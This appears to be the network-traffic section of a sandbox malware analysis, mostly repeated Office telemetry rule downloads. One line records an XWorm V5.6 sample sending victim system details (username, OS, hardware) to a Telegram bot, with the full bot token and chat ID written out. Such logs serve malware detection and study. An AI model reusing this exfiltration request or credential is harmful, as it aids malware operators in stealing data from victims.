Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bot7898406264:AAEcJvD5oP4JuBuf3i4snVJp7o4fDp7tsuw/sendMessage?chat_id=-1002292872097&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A49ADBA61C1A62D0D1A8E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20MOE6XX6%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
